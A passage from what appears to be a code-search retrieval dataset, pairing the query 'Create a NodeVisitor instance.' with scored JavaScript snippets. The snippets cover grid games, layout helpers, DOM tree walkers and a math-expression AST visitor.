"score": "0.4681749", "text": "function main() {\n // minimum space between numbers - adjust for visual preference\n var nMargin = 1;\n\n // Formatted strings for Floyd's triangles of 5 and 14 rows\n return (function (lstN) {\n return lstN.map(function (nFloydRows) {\n var lstRows = floydIntegerLists(nFloydRows),\n iLast = nFloydRows - 1;\n\n return colsSpacedRight(\n lstRows,\n // Minimum space required per number cell\n // nMargin more than the width of the final number\n lstRows[iLast][iLast].toString().length + nMargin\n )\n }).join('\\n\\n');\n })([5, 14]);\n}", "title": "" }, { "docid": "a26f5483cbb4fca85bb2c1d00b0faea7", "score": "0.4679777", "text": "function northeast(n) {\n var level = bottoms[n];\n var count = 0;\n\n for (var i = 1; ((n + i) <= 6) && ((level - i) >= 0); i++) {\n var square = document.getElementsByClassName(\"row\").item(level - i)\n .getElementsByClassName(\"bigSquare\").item(n + i);\n if (square.style.backgroundColor == color(currentTurn)) {\n count++;\n }\n else return count;\n }\n return count;\n }", "title": "" }, { "docid": "5508c7123ccbc31cf69cebe3ac429925", "score": "0.4679447", "text": "function calculateCols(columnCount){\n\tcolumnCount=columnCount*1;\n\tif(columnCount > 0 ){\n\t\tvar colLg=\"12\";\n\t\tvar colMd=\"12\";\n\t\tvar colSm=\"12\";\n\t\tvar colXs=\"12\";\n\t\tswitch(columnCount){\n\t\t\tcase 1:\n\t\t\t\tcolLg=\"1\";\n\t\t\t\tcolMd=\"1\";\n\t\t\t\tcolSm=\"1\";\n\t\t\t\tcolXs=\"3\";\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\tcolLg=\"2\";\n\t\t\t\tcolMd=\"2\";\n\t\t\t\tcolSm=\"2\";\n\t\t\t\tcolXs=\"6\";\n\t\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\tcolLg=\"3\";\n\t\t\t\tcolMd=\"3\";\n\t\t\t\tcolSm=\"3\";\n\t\t\t\tcolXs=\"12\";\n\t\t\t\tbreak;\n\t\t\tcase 4:\n\t\t\t\tcolLg=\"4\";\n\t\t\t\tcolMd=\"4\";\n\t\t\t\tcolSm=\"4\";\n\t\t\t\tcolXs=\"12\";\n\t\t\t\tbreak;\n\t\t\tcase 5:\n\t\t\t\tcolLg=\"5\";\n\t\t\t\tcolMd=\"5\";\n\t\t\t\tcolSm=\"5\";\n\t\t\t\tcolXs=\"12\";\n\t\t\t\tbreak;\n\t\t\tcase 6:\n\t\t\t\tcolLg=\"6\";\n\t\t\t\tcolMd=\"6\";\n\t\t\t\tcolSm=\"6\";\n\t\t\t\tcolXs=\"12\";\n\t\t\t\tbreak;\n\t\t\tcase 7:\n\t\t\t\tcolLg=\"7\";\n\t\t\t\tcolMd=\"7\";\n\t\t\t\tcolSm=\"7\";\n\t\t\t\tcolXs=\"12\";\n\t\t\t\tbreak;\n\t\t\tcase 8:\n\t\t\t\tcolLg=\"8\";\n\t\t\t\tcolMd=\"8\";\n\t\t\t\tcolSm=\"8\";\n\t\t\t\tcolXs=\"12\";\n\t\t\t\tbreak;\n\t\t\tcase 9:\n\t\t\t\tcolLg=\"9\";\n\t\t\t\tcolMd=\"9\";\n\t\t\t\tcolSm=\"9\";\n\t\t\t\tcolXs=\"12\";\n\t\t\t\tbreak;\n\t\t\tcase 10:\n\t\t\t\tcolLg=\"10\";\n\t\t\t\tcolMd=\"10\";\n\t\t\t\tcolSm=\"10\";\n\t\t\t\tcolXs=\"12\";\n\t\t\t\tbreak;\n\t\t\tcase 11:\n\t\t\t\tcolLg=\"11\";\n\t\t\t\tcolMd=\"11\";\n\t\t\t\tcolSm=\"11\";\n\t\t\t\tcolXs=\"12\";\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tcolLg=\"12\";\n\t\t\t\tcolMd=\"12\";\n\t\t\t\tcolSm=\"12\";\n\t\t\t\tcolXs=\"12\";\n\t\t\t\tbreak;\n\t\t\t\n\t\t}\n\t\treturn \"col-lg-\"+colLg+\" col-md-\"+colMd+\" col-sm-\"+colSm+\" col-xs-\"+colXs+\" no-padding-left\";\n\t}else{\n\t\treturn \"col-lg-12 col-md-12 col-xs-12 col-sm-12 no-padding\";\n\t}\n}", "title": "" }, { "docid": "e198ab218c5b71e2bd0cebbe64baae9a", "score": "0.46788806", "text": "function headerInRightColumn(location){\n return location%HEADERBOARDWIDTH === HEADERBOARDWIDTH - 1;\n}", "title": "" }, { "docid": "59f8a3664a4ee6c1639272d3546d3104", "score": "0.46785116", "text": "function getDiaCellsLeft(colNumber, rowNumber) {\r\n var sum = colNumber - rowNumber;\r\n var cells = $([]);\r\n for (var c = 0; c < grid[0]; c++) {\r\n for (var r = 0; r < grid[1]; r++) {\r\n if (c - r == sum) {\r\n cells.push(getCell(c, r));\r\n }\r\n }\r\n }\r\n return cells;\r\n }", "title": "" }, { "docid": "0772d9844043fd58ab774d94c1e39530", "score": "0.467539", "text": "function re(idx) {return {row: Math.floor(idx/elesPerRow), ele: idx%elesPerRow}}", "title": "" }, { "docid": "ecc0a99e29db4e5d536488ee05024d3d", "score": "0.46731928", "text": "function get_living_cell_coordinates() {\n\tvar count = 0;\n\tvar cells = new Array();\n\tfor( var i = 1; i <= game_fields; i++ ) {\t\n\t\tif( document.getElementById( \"game_td_\"+ i ).className == \"fields_game_checked\" ) {\n\t\t\tcells[count++] = i;\n\t\t}\n\n\t}\n\treturn cells;\n\t\n}", "title": "" }, { "docid": "cf8e1791b805215b625b4ca989395ee6", "score": "0.46706775", "text": "calculateHeaderSpan(rows, i) {\n // Don't return the rowSpan if not the first element in dc\n if (rows[i].rowNum > 1) {\n return null;\n }\n // Rowspan is located in final element of dc - return the rowspan\n // or how many cage numbers to span for the dc header\n while (i < rows.length) {\n if (rows[i].rowSpan !== 0) {\n return (<th className=\"dc-header\" rowSpan={rows[i].rowSpan}>{rows[i].col[0]._dc}</th>);\n }\n i++;\n }\n return null;\n }", "title": "" }, { "docid": "767a4a8e354238b2d283731430493519", "score": "0.4669161", "text": "function countNeighbors(column, row, countMiddle) {\n let sum = 0;\n if (column !== 0 && column < gameState.numberOfColumns - 1) {\n sum += gameState.oldcanvas[column - 1][row]\n sum += gameState.oldcanvas[column + 1][row]\n } else if (column == 0) {\n sum += gameState.oldcanvas[column + 1][row]\n }\n else if (column == gameState.numberOfColumns - 1) {\n sum += gameState.oldcanvas[column - 1][row]\n }\n if (countMiddle) {\n sum += gameState.oldcanvas[column][row]\n }\n return sum;\n}", "title": "" }, { "docid": "4a398dc9b67c0cca129bf0a0ffa9e91c", "score": "0.46686235", "text": "generateRooms(node){\n const halls = node.halls\n const len = halls.length\n var rooms = []\n let newRoom = null\n let removedHalls = []\n for(var i = 0; i < len; i++){\n let roomSize = this.randomSize(5,7)\n let rowStart = halls[i].position[0]\n let colStart = halls[i].position[1]\n switch(halls[i].direction){\n case 'r':\n //the -1 is to offset the side on the top\n var rowSpan = [rowStart - 1, rowStart + roomSize[0] - 1]\n //dont need to offset the col because the hall connect what would be the blank space\n var colSpan = [colStart , colStart + roomSize[1]]\n try{\n newRoom = this.generateRoom(this.rightRowPositions, this.rightColPositions, rowSpan, colSpan, 'l')\n if(newRoom == null){\n removedHalls.push(halls[i])\n continue\n }\n rooms.push(newRoom)\n }\n catch(e){\n console.log('room is null')\n }\n break\n case 'l':\n //the -1 is to offset the side on the top\n var rowSpan = [rowStart - 1, rowStart + roomSize[0] - 1]\n //dont need to offset the col because the hall connect what would be the blank space\n var colSpan = [colStart - roomSize[1] +1, colStart+1]\n try{\n newRoom = this.generateRoom(this.leftRowPositions, this.leftColPositions, rowSpan, colSpan, 'r')\n if(newRoom == null){\n removedHalls.push(halls[i])\n continue\n }\n rooms.push(newRoom)\n }\n catch(e){\n console.log('room is null')\n }\n break\n case 't':\n // the -1 is to offset the side on the top\n var rowSpan = [rowStart - roomSize[0] + 1, rowStart + 1]\n //dont need to offset the col because the hall connect what would be the blank space\n var colSpan = [colStart - 1, colStart + roomSize[1] - 1]\n try{\n newRoom = this.generateRoom(this.topRowPositions, this.topColPositions, rowSpan, colSpan, 'b')\n if(newRoom == null){\n removedHalls.push(halls[i])\n continue\n }\n rooms.push(newRoom)\n }\n catch(e){\n console.log('room is null')\n }\n break\n case 'b':\n //the -1 is to offset the side on the top\n var rowSpan = [rowStart, rowStart + roomSize[0]]\n //dont need to offset the col because the hall connect what would be the blank space\n var colSpan = [colStart - 1, colStart + roomSize[1] - 1]\n try{\n newRoom = this.generateRoom(this.botRowPositions, this.botColPositions, rowSpan, colSpan, 't')\n if(newRoom == null){\n removedHalls.push(halls[i])\n continue\n }\n rooms.push(newRoom)\n }\n catch(e){\n console.log('room is null')\n }\n break\n default:\n break\n }\n }\n for(var i = 0; i < removedHalls.length; i++){\n this.removedHalls.push(new Node('-', removedHalls[i].position))\n }\n return rooms\n }", "title": "" } ]
3d8a66626ca614aeabfc364bace9c58e
Create a NodeVisitor instance.
[ { "docid": "ed18d1ba52cb985926d4fd36a26bc6bb", "score": "0.5937393", "text": "function NodeVisitor() {\n this[path] = [];\n }", "title": "" } ]
[ { "docid": "d1a9213ac625fed94891107062099488", "score": "0.5956106", "text": "function create_nodeFilter() {\n return NodeFilterImpl_1.NodeFilterImpl._create();\n}", "title": "" }, { "docid": "3ea747b916bc20fa6c708baf193d9748", "score": "0.5759608", "text": "static newNode(THIS, ...Arguments) {\n let newnode = new node_(...Arguments);\n newnode.ParentNodeTree = THIS.ParentNodeTree;\n return newnode;\n }", "title": "" }, { "docid": "e835b4c96bcc022deac5ef04b74406d2", "score": "0.56201404", "text": "function Visitor(delegate) {\n this.delegate = delegate;\n}", "title": "" }, { "docid": "4f64fd4d58104cbe4463655cb54599dc", "score": "0.5537115", "text": "function toVdom(node, visitor, h, options) {\n\twalk.visitor = visitor;\n\twalk.h = h;\n\twalk.options = options || EMPTY_OBJ;\n\treturn walk(node);\n}", "title": "" }, { "docid": "ec72efa6b03d3c161de753314d3983e6", "score": "0.55029094", "text": "pipe(ctor, options = {}, id = null) {\n var lfo = ctor(options);\n var node = new Node(this, lfo);\n\n var parent = this.get(this.rootNode);\n parent.lfo.add(lfo);\n this.add(parent, node, id);\n\n return node;\n }", "title": "" }, { "docid": "5e0cdfea75949ef53e09416255e27da2", "score": "0.5491418", "text": "createTreeWalker() { }", "title": "" }, { "docid": "b62432ba82772c9bde98370fc8693f90", "score": "0.5467669", "text": "function TNode() {}", "title": "" }, { "docid": "b62432ba82772c9bde98370fc8693f90", "score": "0.5467669", "text": "function TNode() {}", "title": "" }, { "docid": "071e67c0844e32224b7b9361237fb7bb", "score": "0.5392008", "text": "function TViewNode() {}", "title": "" }, { "docid": "ea34bb525c49bff8c68464b551840fa2", "score": "0.5388509", "text": "createTreeWalker(root, whatToShow, filter) {\n if (!isNodeImpl(root)) {\n throw new TypeError(\"First argument to createTreeWalker must be a Node\");\n }\n\n return TreeWalker.createImpl([], {\n root,\n whatToShow,\n filter\n });\n }", "title": "" }, { "docid": "ed6bd0c96461dc8632630e70c5ddf977", "score": "0.5374076", "text": "function TNode(){}", "title": "" }, { "docid": "3b24559c8609d8096ebe0b9455bb6ce8", "score": "0.5351295", "text": "function TNode() { }", "title": "" }, { "docid": "3b24559c8609d8096ebe0b9455bb6ce8", "score": "0.5351295", "text": "function TNode() { }", "title": "" }, { "docid": "0ef2dd0c222d4b8804827c1c2ccb4317", "score": "0.52936554", "text": "function VNode() {}", "title": "" }, { "docid": "3a29b7ce326acf30604a89ccf8ad55a4", "score": "0.52483726", "text": "function Node() {\n this.type = _.functionName(this.constructor);\n }", "title": "" }, { "docid": "09cdeaf88c292c88199d613f37ecb5a4", "score": "0.52349836", "text": "function TViewNode(){}", "title": "" }, { "docid": "3e19df1e9cc21be1f912417d23f9719c", "score": "0.52021974", "text": "function createNodes(astNode) {\n walker(astNode, {\n default(node, recurse) {\n const parent = parentStack.length ? parentStack[parentStack.length - 1] : undefined;\n createNode(node, parent);\n // do not recurse for FunctionDeclaration or any sub-expression\n if (node.type === 'FunctionDeclaration' || node.type.includes('Expression')) return;\n\n parentStack.push(node);\n walker.checkProps(node, recurse);\n parentStack.pop();\n },\n });\n }", "title": "" }, { "docid": "066b7d2db03e80b7dde9ab49420988f6", "score": "0.5159088", "text": "function TViewNode() { }", "title": "" }, { "docid": "066b7d2db03e80b7dde9ab49420988f6", "score": "0.5159088", "text": "function TViewNode() { }", "title": "" }, { "docid": "fc3c98e024f9e7de006b7708ca5baad7", "score": "0.51483566", "text": "function NodeDef() {}", "title": "" }, { "docid": "789ec5a23c1c10b1be93cf509b5b3b6f", "score": "0.5144653", "text": "createNode() {\n\t\tvar newNode = new Array();\n\t\tnewNode.push(this.parentNode);\n\n\t\tif (this.type != \"filter\")\n\t\t\tnewNode.push(this.newGhostNode());\n\n\t\tthis.addChildNodes(newNode);\n\t}", "title": "" }, { "docid": "a24351e72a8e9746efaea8d948b159d1", "score": "0.5133798", "text": "function Node(val) {\n\t// scope-safe contructor\n\tif (new.target === Node) {\n\t\tthis.val = val;\n\t\tthis.next = null;\n\t} else {\n\t\treturn new Node(val);\n\t}\n}", "title": "" }, { "docid": "e6ba0faa851f77aa42b0d71427764c23", "score": "0.51256716", "text": "function Node(nodeType, nodeName, ownerDocument, overrideIndex) {\n _classCallCheck(this, Node);\n\n _defineProperty(this, \"ownerDocument\", void 0);\n\n _defineProperty(this, 45\n /* scopingRoot */\n , void 0);\n\n _defineProperty(this, \"nodeType\", void 0);\n\n _defineProperty(this, \"nodeName\", void 0);\n\n _defineProperty(this, \"childNodes\", []);\n\n _defineProperty(this, \"parentNode\", null);\n\n _defineProperty(this, \"isConnected\", false);\n\n _defineProperty(this, 7\n /* index */\n , void 0);\n\n _defineProperty(this, 9\n /* transferredFormat */\n , void 0);\n\n _defineProperty(this, 8\n /* creationFormat */\n , void 0);\n\n _defineProperty(this, 10\n /* handlers */\n , {});\n\n this.nodeType = nodeType;\n this.nodeName = nodeName;\n this.ownerDocument = ownerDocument || this;\n this[45\n /* scopingRoot */\n ] = this;\n this[7\n /* index */\n ] = overrideIndex ? storeOverride(this, overrideIndex) : store(this);\n this[9\n /* transferredFormat */\n ] = [this[7\n /* index */\n ]];\n }", "title": "" }, { "docid": "95a67fb3713f9f0f55b8bed35d9acab3", "score": "0.51161623", "text": "function createNode(transform, render, sibling, child) {\r\n var node = {\r\n transform: transform,\r\n render: render,\r\n sibling: sibling,\r\n child: child,\r\n }\r\n return node;\r\n}", "title": "" }, { "docid": "e881fa0a14fa9edddd8dbaeeff45b8c2", "score": "0.51050234", "text": "function NodeDef(){}", "title": "" }, { "docid": "98930ea000fa5eaf34a20f35a67ce9c7", "score": "0.5092719", "text": "function buildNodeVisitor(functions) {\n return function(node) {\n return functions[node.type].apply(null, arguments);\n };\n}", "title": "" }, { "docid": "12215276ae2ebae973142da3c20697c1", "score": "0.5091321", "text": "function createNode(kind, pos) {\n nodeCount++;\n if (!(pos >= 0)) {\n pos = scanner.getStartPos();\n }\n return ts.isNodeKind(kind) ? new NodeConstructor(kind, pos, pos) :\n kind === 71 /* Identifier */ ? new IdentifierConstructor(kind, pos, pos) :\n new TokenConstructor(kind, pos, pos);\n }", "title": "" }, { "docid": "2af6d5ecdb968781bf3363c039982f12", "score": "0.50903875", "text": "function createNewNode(nodeToCreate) {\n return Node.create(nodeToCreate)\n}", "title": "" }, { "docid": "e2b348b0265611693babda31c5a220c6", "score": "0.50558543", "text": "function NodeDef() { }", "title": "" }, { "docid": "e2b348b0265611693babda31c5a220c6", "score": "0.50558543", "text": "function NodeDef() { }", "title": "" }, { "docid": "27a85291348fca0cf7930d1df9c7a2a5", "score": "0.50202477", "text": "function Visitor(ast) {\n function visit(options, node, visit, resume) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node && node.op && node.args, \"2000: Visitor.visit() op=\" + node.op + \" args = \" + node.args);\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM:\n node = visit.numeric(node, resume);\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].BACKSLASH: // set operator\n if (node.args.length === 1) {\n node = visit.unary(node, resume);\n } else {\n node = visit.additive(node, resume);\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TIMES:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COEFF:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].DIV:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CDOT:\n node = visit.multiplicative(node, resume);\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG:\n node = visit.exponential(node, resume);\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUBSCRIPT:\n node = visit.variable(node, resume);\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SQRT:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TAN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSIN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOS:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCTAN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSEC:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCSC:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOT:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SEC:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CSC:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COT:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TANH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSINH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOSH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCTANH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSECH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCSCH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOTH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SECH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CSCH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COTH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PERCENT:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].M:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ABS:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FACT:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FORALL:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].EXISTS:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].IN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUM:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LIM:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].EXP:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TO:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].RIGHTARROW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].DERIV:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].INTEGRAL:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PROD:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CUP:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].BIGCUP:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CAP:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].BIGCAP:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PIPE:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ION:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUBSCRIPT:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].OVERLINE:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].OVERSET:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].UNDERSET:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATHBF:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NONE:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].DEGREE:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].DOT:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATHFIELD:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NOT:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PAREN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].BRACKET:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].BRACE:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].OPERATORNAME:\n node = visit.unary(node, resume);\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COMMA:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VEC:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ROW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COL:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].INTERVAL:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].INTERVALOPEN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].INTERVALLEFTOPEN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].INTERVALRIGHTOPEN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LIST:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SET:\n node = visit.comma(node, resume);\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].EQL:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LT:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LE:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].GT:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].GE:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NE:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NGTR:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NLESS:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NI:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUBSETEQ:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUPSETEQ:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUBSET:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUPSET:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NNI:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NSUBSETEQ:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NSUPSETEQ:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NSUBSET:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NSUPSET:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].APPROX:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].IMPLIES:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PERP:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PROPTO:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PARALLEL:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NPARALLEL:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIM:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CONG:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CAPRIGHTARROW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].RIGHTARROW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LEFTARROW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LONGRIGHTARROW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LONGLEFTARROW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].OVERRIGHTARROW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].OVERLEFTARROW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CAPLEFTRIGHTARROW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LEFTRIGHTARROW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LONGLEFTRIGHTARROW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].OVERLEFTRIGHTARROW:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COLON:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].RIGHTARROW:\n node = visit.equals(node, resume);\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FORMAT:\n // Only supported by normalizeSyntax\n node = visit.format(node);\n break;\n default:\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, \"2000: Should not get here. Unhandled node operator: \" + node.op);\n if (visit.name !== \"normalizeLiteral\" &&\n visit.name !== \"sort\") {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, \"2000: Should not get here. Unhandled node operator: \" + node.op);\n console.trace(JSON.stringify(node, null, 2));\n }\n break;\n }\n return node;\n }\n\n // Compute the degree (Number value) of the right most term of an equation.\n // If name is provided then return the degree of the part with that variable\n // name.\n function degree(root, notAbsolute) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Invalid node\");\n return visit(options, root, {\n name: \"degree\",\n exponential: function (node) {\n var args = node.args;\n var d;\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n var expo = mathValue(options, args[1], true);\n if (expo) {\n if (notAbsolute) {\n // Return the raw degree, not the absolute value of the degree\n d = degree(args[0], notAbsolute) * toNumber(expo);\n } else {\n d = degree(args[0], notAbsolute) * Math.abs(toNumber(expo));\n }\n } else {\n if (!isNeg(options, args[1])) {\n d = Number.POSITIVE_INFINITY; // degree of variable power\n } else {\n d = Number.NEGATIVE_INFINITY;\n }\n }\n } else if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG) {\n // In, ln x, the degree isn't known so we call it infinity\n d = Number.POSITIVE_INFINITY;\n }\n return d;\n },\n multiplicative: function (node) {\n var args = node.args;\n var d = 0;\n args.forEach(function (n) {\n d += degree(n, notAbsolute);\n });\n return d;\n },\n additive: function (node) {\n // Return the degree of the highest degree term.\n var args = node.args;\n var d = 0;\n var t;\n args.forEach(function (n) {\n t = degree(n, notAbsolute);\n if (t > d) {\n d = t;\n }\n });\n return d;\n },\n numeric: function(node) {\n return 0;\n },\n unary: function(node) {\n var args = node.args;\n var d = degree(args[0], notAbsolute);\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PERCENT:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].M:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ABS:\n return d;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN:\n case 